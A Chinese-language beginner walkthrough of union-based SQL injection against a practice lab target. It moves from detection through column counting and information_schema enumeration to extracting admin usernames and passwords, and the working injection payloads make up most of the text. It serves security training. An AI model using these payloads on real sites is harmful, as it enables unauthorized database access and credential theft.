sql注入入门学习

靶场地址:https://hack.zkaq.cn/battle/target?id=485e58d0afa7e4f7

第一步:判断是否存在sql注入漏洞

?id=1 and 1=1
sql注入入门学习页面返回正常

?id=1 and 1=2
sql注入入门学习页面不正常,初步判断这里可能存在一个注入漏洞

第二步:判断字段数

?id=1 and 1=1 order by 1
sql注入入门学习页面正常
?id=1 and 1=1 order by 2
sql注入入门学习页面正常
?id=1 and 1=1 order by 3
sql注入入门学习页面返回错误,判断字段数为2

第三步:判断回显点

?id=1 and 1=2 union select 1,2
sql注入入门学习页面出现了2,说明我们可以在数字2处显示我们想要的内容

第四步:查询相关内容

  • 查询当前数据库名
    ?id=1 and 1=2 union select 1,database()
    sql注入入门学习
  • 查询当前数据库版本
    ?id=1 and 1=2 union select 1,version()
    sql注入入门学习
  • 查询当前数据库 表名
    ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
    sql注入入门学习
    绝大数情况下,管理员的账号密码都在admin表里
  • 查询字段名
    ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() limit 0,1
    sql注入入门学习
    ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() limit 1,1

sql注入入门学习?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() limit 2,1

sql注入入门学习
查出admin表里有 id username password 三个字段

  • 查询字段内容
    ?id=1 and 1=2 union select 1,username from admin limit 0,1
    sql注入入门学习
    ?id=1 and 1=2 union select 1,username from admin limit 1,1
    sql注入入门学习
    ?id=1 and 1=2 union select 1,username from admin limit 2,1
    sql注入入门学习
    limit 2,1没有回显,说明只有两个用户

?id=1 and 1=2 union select 1,password from admin limit 0,1
sql注入入门学习
?id=1 and 1=2 union select 1,password from admin limit 1,1

sql注入入门学习
得到管理员账号和密码